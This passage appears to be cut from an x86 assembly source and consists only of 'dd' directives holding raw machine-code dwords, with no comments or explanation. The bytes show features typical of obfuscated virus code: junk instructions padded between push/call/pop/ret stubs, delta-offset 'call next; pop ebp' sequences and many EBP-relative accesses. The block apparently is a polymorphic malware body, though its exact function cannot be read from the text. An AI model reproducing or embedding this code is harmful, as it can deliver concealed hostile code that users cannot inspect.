		dd 7ABF6600h, 6670E6ACh, 0E49743BFh, 0A9BD2971h, 0F061221h
		dd 6AD8B6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BD8BE2C3h, 6123085h, 14E8h, 0F7827100h
		dd 70A5FED7h, 355E596Ah, 63C5AF24h, 71D07543h, 85BD8BBDh
		dd 5E061214h, 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 735A8C82h, 0EFBF66F0h
		dd 6AC38BDBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0C14EC356h, 0F76604E8h, 0B1BD2BE2h
		dd 2B06121Ah, 95B503D8h, 9306122Fh, 0BE50F18Bh,	1881C932h
		dd 15958993h, 0FF061200h, 120861B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0A6840162h
		dd 0C41B589h, 95FF0612h, 6122475h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0DBC35646h,	1FB96EDh, 0BB82CDE3h
		dd 0B0F8B4h, 1965BD8Bh,	70E60612h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0FBC35242h,	0ABFDF12Eh, 0E6189387h
		dd 39858959h, 0E4061215h, 0E1858971h, 3C06121Fh, 0CF830F61h
		dd 2B000001h, 122E85B5h, 0D8B60F06h, 272DB58Bh,	6BA0612h
		dd 66000000h, 0AD13C781h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0ED4B76C3h, 2EFC7306h
		dd 6604E8C1h, 0BF66E2F7h, 0D82B2CE2h, 3465B58Bh, 6A580612h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 61C1C351h, 4870Fh, 0BF660000h, 0D82BE262h
		dd 150880Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8166ABC3h, 0B9AC5FCFh, 7, 0FFFB70Fh
		dd 82h,	0C18300h, 235B501h, 0D93B0612h,	110860Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 7E2B44C3h, 8B1AD7C3h, 1203E9B5h, 0D98C6606h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E3C35141h, 0A9619A42h
		dd 0BD29069Ah, 6121331h, 0F04C1F6h, 9484h, 14E900h, 1A270000h
		dd 12863CE5h, 2B5DCF71h, 93592911h, 0D05E3A6Ah,	95FF0960h
		dd 6120479h, 0D781665Bh, 0C32BC10Bh, 59D8960h, 6006122Bh
		dd 46E0BB66h, 0BE9h, 3B511200h,	0BC50F30Ch, 5AD161B2h
		dd 343D6161h, 0F000008h, 4486h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0B1D03522h
		dd 6810F06h, 89000000h,	1213598Dh, 34E906h, 0EE90000h
		dd 22000000h, 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 6AC08BCCh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 8178C355h, 0C38BD10Ch, 0BF0FD88Bh, 0A185C7FFh
		dd 0FB061233h, 9516F19h, 12344D85h, 52C08B06h, 5EF6BF0Fh
		dd 861BD81h, 7D00612h, 850F0000h, 53h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0B7C35545h,	860F1558h, 0
		dd 86185FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0D87FDFC3h, 0D14A5DFCh, 3185898Dh
		dd 0FF06122Ah, 120861B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 6E8567Dh, 4000000h
		dd 0A606A6E4h, 5F5EFC00h, 89FC6060h, 122EC1B5h,	8B526106h
		dd 121BE18Dh, 0FF615E06h, 12247595h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0F8DAC255h
		dd 7F571Ch, 0EB1BD29h, 6A900612h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7E2AC352h
		dd 0E98719CCh, 0Dh, 0DFD10C81h,	0A5594367h, 8510C311h
		dd 53006A85h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0E99E4CFFh, 667A6422h, 0BB469BEh, 1205C1B5h
		dd 0F5506006h, 850Fh, 8B580000h, 6A61C7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 2EB6F2C3h
		dd 27CA0546h, 0AE93Fh, 0A7BF0000h, 0EA18C70Bh, 0ADD61F80h
		dd 1B498D89h, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0D295C1C3h, 49B58B34h, 89061206h
		dd 12212985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 14EFFE41h, 2E6E86D0h, 0B70FF4EEh
		dd 0C8B0FF8h, 89000000h, 1233F585h, 5D958906h, 0E9061212h
		dd 0FFFFF8C2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	87C35545h, 3BBE66D9h, 0BD2357DAh, 6120F89h, 435B58Bh
		dd 8B5E0612h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 19F1723Dh, 742F04F2h, 10E8h, 35AE7600h
		dd 3C648C74h, 0A1057717h, 5535E90Bh, 0E68166C6h, 0EB5F23ECh
		dd 4, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 34DAD6h, 4810F36h, 66000000h, 813699BEh
		dd 378E8DE7h, 69858D59h, 6A061201h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 3570C355h
		dd 0C233BEA6h, 0E95016F6h, 0Bh,	91AE9AC1h, 3C5A67C0h, 89F50B0Dh
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0B8441CC3h, 7CB8FB7Fh, 8E972h, 0F9060000h
		dd 7DC40500h, 0BF668F4Eh, 6A193Fh, 13F1B52Bh, 6A0612h
		dd 0DF78166h, 3F858D80h, 0E906160Eh, 5,	7A7C8011h, 5C08357h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6AC35646h
		dd 0A728CBAh, 6DB58BF8h, 5006122Eh, 489F78Bh, 0C880F24h
		dd 0F000000h, 68Bh, 0E19D8900h,	6A06120Ah, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0FBBF0F19h, 10EDBD8Bh, 6A0612h, 9C5BD8Bh, 95FF0612h
		dd 61204ADh, 9D1A9D8Dh,	830F0615h, 6, 3119BD8Bh, 0D3FF0612h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 3DC35141h
		dd 99BD333Ch, 0FF061215h, 12136D85h, 118A0F06h,	0E9000000h
		dd 0Ch,	0F6D2AF9Bh, 80F986F5h, 19983A54h, 9049BE66h, 764E9h
		dd 0E800h, 815D0000h, 160E49EDh, 61BD8106h, 0D0061208h
		dd 0F000007h, 13286h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 95010A70h, 612303Dh, 11B59D8Bh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 58763DC3h, 0EFB658Ah, 0E9933166h,	11h, 0F547EC78h
		dd 7EB3A19Dh, 6F55F49Bh, 53575014h, 0E38173h, 60000001h
		dd 0F9F1BF0Fh, 0FDB0B61h, 5A85h, 0F0B70F00h, 0CACBD83h
		dd 0F000616h, 1084h, 0F7816600h, 6DE91549h, 23000000h
		dd 120A41B5h, 0AC85C706h, 106160Ch, 8B000000h, 123489BDh
		dd 52E906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1A0424h, 50400000h, 55B045C3h, 42CFD013h, 0C7FBBF0Fh
		dd 160CAC85h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 10909F53h, 0A6C7708h
		dd 11B59D8Dh, 23810612h, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 7EC35646h, 58C0Fh, 81660000h
		dd 66DD31F6h, 46BEDB8Ch, 8B059145h, 4C3F6F3h, 7A840Fh
		dd 85010000h, 61212B1h,	47995FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 7742EEC3h
		dd 6840Fh, 0B5330000h, 6122125h, 1D01B589h, 60900612h
		dd 3810Fh, 8B660000h, 6840FD0h,	50000000h, 5A310F52h, 51506158h
		dd 5EF88B66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0B5341572h, 377E9h, 9DB52900h, 0B0061211h
		dd 6DBD8B00h, 29061211h, 121BF9BDh, 6A70E606h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0BCCEC352h, 0CC847790h, 0D53D44BFh, 26F9BD23h, 9D890612h
		dd 6122551h, 6AF2F781h,	71E4746Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 87C35545h, 0B60FBF34h, 11E8D8h
		dd 89850000h, 482400D2h, 92CA2E72h, 0B904F4BCh,	0F9DA60Dh
		dd 0BA5FFAB7h, 6, 89C38BFCh, 121BCDB5h,	890F06h, 0C1000000h
		dd 0B58904E8h, 6122D29h, 1B39BD8Bh, 0F7660612h,	52006AE2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0DAFAA8AFh, 9EA75C00h, 8C0F0FD2h, 6,	2A11B58Bh, 0F38B0612h
		dd 800Fh, 0D82B0000h, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 19h, 59C35040h, 8FA362D1h,	8B6650C6h, 241C89F0h
		dd 0B5FFF28Bh, 6120861h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 49C35040h, 0FF554E23h, 12247595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0B58BD3BAh, 6120C39h, 958900B0h, 6121AB1h, 958970E6h
		dd 6120559h, 5E871E4h, 43000000h, 141319C0h, 895EFE8Bh
		dd 121CCD95h, 0F613C06h, 1E783h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 5914E67Dh
		dd 0F9B70F50h, 5E9h, 0CEE1D700h, 0B60F7A3Ah, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8B663B4Eh, 6BAFBh, 8E80000h,	0A1000000h, 0BC6E8409h
		dd 665B9030h, 5F25CCBEh, 0BD89C38Bh, 6123381h, 0E904E8C1h
		dd 0Fh,	841BE467h, 578A9220h, 0F18ECECDh, 66C0AD5Dh, 6AE2F7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0DCCC53C3h, 4D4B967Dh, 0D82B82C9h, 0FE3D40BEh, 0B58B583Ch
		dd 61223A1h, 880FD82Bh,	124h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h
		dd 14h,	0B3C35545h, 461BD89h, 0A6BE0612h, 0B90377BBh, 7
		dd 100C183h, 12313185h,	0FD93B06h, 0E786h, 0D98C6600h
		dd 0F04C1F6h, 0B784h, 0F7B70F00h, 47995FFh, 6A0612h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 23E1B2C3h, 50801526h, 6A5BD2E3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 3561C355h
		dd 858957DDh, 6121CB9h,	2585295Eh, 2B061216h, 8343DC3h
		dd 860F0000h, 50h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0B1C35141h, 5334CBA0h, 0E0D912BEh, 354D9D29h
		dd 0BF660612h, 41E99ED8h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0DD86C350h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 54FFB4C3h, 21085A9Bh, 0D88BC38Bh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6BC35545h, 1F19F47Fh
		dd 880F3489h, 4, 0DD1BBF66h, 145D85C7h,	53190612h, 6A34B5h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 3848BAC3h, 0E958589h, 0C08B0612h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 2C35242h, 5A8E6984h, 81667A8Dh
		dd 81887AEEh, 120861BDh, 7D006h, 11850F00h, 0FF000000h
		dd 12086185h, 6E906h, 1880000h,	0E3D66D72h, 861B5FFh, 0BD890612h
		dd 6122BA5h, 247595FFh,	6A0612h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 237562C3h, 122E21BDh
		dd 6A9006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0ADDAD9C3h, 1CC1BD23h, 8B570612h,	121949BDh
		dd 399D8906h, 5F06120Bh, 10E8h,	2E94FB00h, 6855AF74h, 3B60D229h
		dd 3DC3AC2Dh, 60F88B8Ah, 5E505957h, 10E8h, 0CCEE7600h
		dd 509B0E9h, 4FCDDE03h,	0AA95E9ABh, 958B5EA4h, 6120F25h
		dd 6A5F61h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 52772AC3h, 1A459589h, 0F5E0612h, 883h, 0EE816600h
		dd 0B70FED1Dh, 6A5F56F7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0BA48C357h,	2B8AFE62h
		dd 850FD4h, 8B000000h, 1210F9BDh, 13E906h, 0A30E0000h
		dd 8ECAD25Bh, 0E575A6B5h, 6A1F64CDh, 6563270Eh,	8DBD8B3Ah
		dd 8906120Ah, 1203299Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0E5AC9F5h, 0F59D8953h
		dd 0E9061204h, 6, 0F35CBFFh, 0E95EBC8Bh, 0FFFFF8A1h, 825EE9BEh
		dd 6AC18B39h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B05AC353h, 0F37EDB90h, 0CE9h
		dd 0B1E5A100h, 0DE090B81h, 5FF8B33Bh, 4EBF6h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 2B58C351h, 0F68B7982h, 0BF66107Ch, 6AE692h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0EC93DBC3h, 0C6106ED0h, 295651B6h, 1210B19Dh, 8D5F5E06h
		dd 12016985h, 7E906h, 6DD30000h, 7146120Dh, 0BE6650DBh
		dd 4896354h, 11852924h,	29061226h, 1227199Dh, 89006A06h
		dd 12310595h, 0FDBD8B06h, 6A061232h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 80858DF5h
		dd 29061617h, 122C0585h, 5C08306h, 4F1BD23h, 0BD010612h
		dd 61230D5h, 11E86050h,	0AB000000h, 0DE83084h, 9DE983DFh
		dd 5794420Dh, 3C022227h, 665B5A51h, 615CB4BAh, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 1024C355h, 0BF0755FCh, 89F471E9h,	1215E5B5h
		dd 0F006A06h, 680h, 3DBD8900h, 6A061221h, 0F9BD8B00h, 0FF061234h
		dd 1204AD95h, 0E9BD0306h, 8D061229h, 159D1A9Dh,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 4359F9A1h, 0A3210F2Bh, 0BE663694h, 0D3FF4192h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 894AC136h
		dd 1202819Dh, 0C830F06h, 0F000000h, 68Ch, 8C0F00h, 0FF000000h
		dd 12136D85h, 835E906h,	0E80000h, 5D000000h, 178AED81h
		dd 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 2A0F2C3h,	819D89C2h, 81061213h, 120861BDh
		dd 7D006h, 0A6860F00h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E009C352h
		dd 9281069Bh, 9D8B3161h, 6121349h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0C4C35343h,	0E381A044h, 100h
		dd 15119589h, 0DB0B0612h, 0E1850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 518A3CC3h
		dd 0B36F0A03h, 0BF3DF0ECh, 19C0D48Eh, 15DEBD83h, 0F000616h
		dd 3F84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 11F3FB98h, 6A1E0D21h, 0F28B6607h
		dd 8FE9h, 0EE900h, 0BE840000h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h
		dd 15DE85C7h, 10616h, 870F0000h, 18h, 13E9h, 25D15200h
		dd 70779CD7h, 0FE50452Ch, 923F0868h, 8E06BEDFh,	4FE9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 79723574h, 0D1BDB1Bh, 1BD8B80h, 0E9061213h
		dd 0Fh,	848EABBEh, 5FE4EB75h, 1473BE42h, 0C7E48D74h, 1615DE85h
		dd 6, 5DBD8B00h, 0F5061212h, 13499D8Dh,	8E0F0612h, 6, 11E5B58Bh
		dd 0BD890612h, 6121A4Dh, 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 32A989C3h
		dd 0CCEAAC3Eh, 8589A425h, 6120261h, 5E8h, 0B0775C00h, 800F8CB7h
		dd 0
		dd 0DB8C665Fh, 1A85BD8Bh, 0C3F60612h, 70840F04h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0D3C1C355h, 0B529F98Bh, 6122679h,	47995FFh
		dd 8D890612h, 612002Dh,	0AE850h, 0D3300000h, 0C884030Bh
		dd 0FDD03165h, 2404895Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 8DC35040h, 7B21B7ABh,	52EA9BC4h, 1CB18589h
		dd 0E95E0612h, 3CCh, 9BEE8166h,	6A00B0AAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0EADFC356h
		dd 6672709Dh, 318D89EDh, 0E6061222h, 13E970h, 0D5840000h
		dd 0BD181080h, 39CD7813h, 67A3BA6Bh, 6BAB2107h,	0E971E47Ch
		dd 11h,	454A89ADh, 62CDB2Eh, 0CB444D5Ch, 0C21B7A38h, 0D8B60FF0h
		dd 15519D09h, 6BA0612h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4FDFC352h
		dd 0BF66AAADh, 0C38BB0C8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 22C35646h, 410557B2h,	0FA0A5EEh, 84h
		dd 18F0F00h, 0F5000000h, 6A04E8C1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 9531C353h
		dd 6691B382h, 9E9E2F7h,	8B000000h, 939CD373h, 0F46CC9DFh
		dd 35E8F781h, 0D82B54BFh, 0AE8h, 195FC100h, 0CE2C63A0h
		dd 0FF3DADFh, 680h, 8F0F00h, 5E000000h,	0A879CE81h, 0F9326ABh
		dd 1A87h, 14890F00h, 0E8000000h, 0Eh, 0FD812B6Dh, 4D5419BBh
		dd 0BE0EE3ACh, 505F1327h, 0DB816093h, 1122F929h, 4742B966h
		dd 0FFF38B61h, 120861B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0B386D14h
		dd 121A69B5h, 298D8906h, 0FF06120Fh, 12247595h,	0CE816606h
		dd 0B02A9Ch, 71E470E6h,	5820Fh,	81660000h, 3C062AD7h, 25830F61h
		dd 0F000002h, 68Ah, 79B58B00h, 0F061213h, 6AD8B6h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 667B1BC3h, 0B74EA44h, 6BA52h, 0BD290000h, 6121495h
		dd 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0A365C2C3h, 7E854B8h, 0C5000000h,	50D648E8h
		dd 870F5AF9h, 6, 2329B50Bh, 0C15F0612h,	8B6604E8h, 0E2F766F2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 57C35242h
		dd 12E2B1F4h, 2BF18B15h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 46FD5ADEh, 6606B7AAh
		dd 3158FA8Bh, 120B4DB5h, 0FD82B06h, 14B88h, 2810F00h, 8B000000h
		dd 7B9F0h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 608184C3h, 0B58B72D0h, 6122399h
		dd 6A00C183h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0CC36C352h, 0CA311FD1h, 9D295AABh
		dd 61204B5h, 860FD93Bh,	0E4h, 12E9h, 9490A300h,	234591ADh
		dd 434282AAh, 4F0BAF0Ah, 6660F019h, 0BD89D98Ch,	61227B5h
		dd 0F04C1F6h, 0B984h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 7995FFAEh, 66061204h
		dd 5BD1C3BFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	22C35747h, 2922FECAh, 12317D95h, 60C32B06h, 7ED8BF66h
		dd 2471BD09h, 3D610612h, 834h, 54860Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 1F944AC3h, 1D791C9Ah, 0B58946CCh, 6121565h, 27E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0CA30B62Ch, 6ACCDF81h, 0C08B7375h, 0D88BC38Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 11C35646h, 47A61725h
		dd 8E428F5Fh, 0B585C7BDh, 15061211h, 6A3FC6F1h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 316CC351h, 0F1CE8139h, 8B0C82DAh, 0D9EF81C0h, 81634F75h
		dd 120861BDh, 7D006h, 35850F00h, 0F000000h, 81h, 6185FF00h
		dd 6A061208h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 6BF8C352h, 4C6BDB0Bh, 0B58B75AAh
		dd 6121BF9h, 861B5FFh, 0BD8B0612h, 6121A8Dh, 247595FFh
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BD8B4BC3h, 6121169h, 0BE890h, 28FA0000h
		dd 61A569CDh, 0F3F26EC2h, 61BD8BFEh, 5E061202h,	20998589h
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0CBB5E5C3h, 43BE66EBh, 14E9B8h, 3BD00000h
		dd 8DD284BDh, 38D2D02h,	0D62682E6h, 91082AB6h, 0BD89DE9Ah
		dd 6121369h, 45B58BF5h,	89061220h, 1212AD95h, 0F8BE6606h
		dd 56006AE3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 9190C682h, 0DB84E4B2h, 0BE8B2h, 7AE90000h
		dd 4C85D132h, 0D9F4BF3Ch, 0A5BD8B22h, 81061223h, 102EC4EFh
		dd 8B0F5F51h, 6, 355BD89h, 95310612h, 61234D9h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D7C35545h, 936610CEh
		dd 159D89C9h, 81061231h, 0C19AF6E7h, 68B0F4Eh, 89000000h
		dd 1209459Dh, 52DF8106h, 0E9577343h, 0FFFFF7E6h, 0CE8h
		dd 0BFB66500h, 6A01508Eh, 2F68ABF0h, 0B1B58988h, 5F06122Bh
		dd 8BF18B66h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 1D1809Ch,	121D0195h, 4EB06h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 66EDC356h, 0D5898E96h, 24118589h,	85890612h
		dd 61212C1h, 169858Dh, 0BD8B0612h, 61234D5h, 0F88B6650h
		dd 8B240489h, 121481B5h, 6A006A06h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 7CA7DA7Bh
		dd 6EAAD7D3h, 14E8D2CAh, 0BC000000h, 0B7924703h, 0F07AB77Eh
		dd 8481C01Bh, 0CB17F026h, 66ADB00Dh, 7962C781h,	0A7858D5Fh
		dd 0E8061621h, 0Dh, 0A213FF89h,	21451F85h, 6ABDD9F9h, 0C58D8924h
		dd 5E061232h, 499589h, 0C0830612h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0CD5292D8h
		dd 2F619D29h, 53500612h, 0FD08B60h, 82h, 895F6100h, 0B50B2404h
		dd 6120451h, 8166006Ah,	0F830FE7h, 1785h, 0BE800h, 36D60000h
		dd 0A815DE1Bh, 0F3F08240h, 2DB58B74h, 5F061217h, 0B533006Ah
		dd 6122C75h, 4AD95FFh, 8E0F0612h, 11h, 0CE9h, 36A40D00h
		dd 2474AD89h, 985D6A0Ch, 1A9D8DB2h, 6A06159Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0F89CC351h, 8BB4727Eh, 0FA8B66E3h, 6AD3FFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 998FFCC3h
		dd 90989B62h, 85FFBFB3h, 612136Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 85C35747h, 0E83BAEA4h, 5, 0B19CF96Ah
		dd 85BD8B3Ah, 5E061211h, 6E9E9h, 0E800h, 815D0000h, 1621B1EDh
		dd 759D8906h, 81061232h, 120861BDh, 7D006h, 0FF860F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 409BC352h, 8B3C9A3Fh, 122B999Dh
		dd 5D8D2906h, 8106120Ch, 100E3h, 0DB0BFC00h, 4E850Fh, 85890000h
		dd 6121CC9h, 1FE2BD83h,	0F000616h, 0B84h, 59B58B00h, 0E906120Bh
		dd 59h,	1FE285C7h, 10616h, 0F98B0000h, 48E9h, 356FBF00h
		dd 0E9607F17h, 0Eh, 0C0C9CB43h,	15E4896Fh, 26AF6FB6h, 8166E0F9h
		dd 6182A3F0h, 1FE285C7h, 616h, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 8F6F96C3h
		dd 999D8DD2h, 6A06122Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8113C356h, 0FFFEFF23h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8B663705h, 9846BFFAh, 8C6606ABh,	50006ADBh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0C5BD8B5Ah, 0F6061203h, 840F04C3h, 33h, 47995FFh, 57500612h
		dd 45353DBFh, 4895F79h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 718D0956h, 0E9061213h
		dd 33Eh, 1A4D8589h, 0B00612h, 1471BD8Bh, 70E60612h, 6840Fh
		dd 0BD8B0000h, 6120AA9h, 71E4FB8Bh, 66D8B60Fh, 6BAF08Bh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 3A53C350h, 484A5A8Dh, 8B651DA8h
		dd 0F1B70FC3h, 8104E8C1h, 0F000B9F7h, 0E2F76673h, 0C09B533h
		dd 8B660612h, 0E9D82BFBh, 0Fh, 0B74ED552h, 639771CAh, 980E95D5h
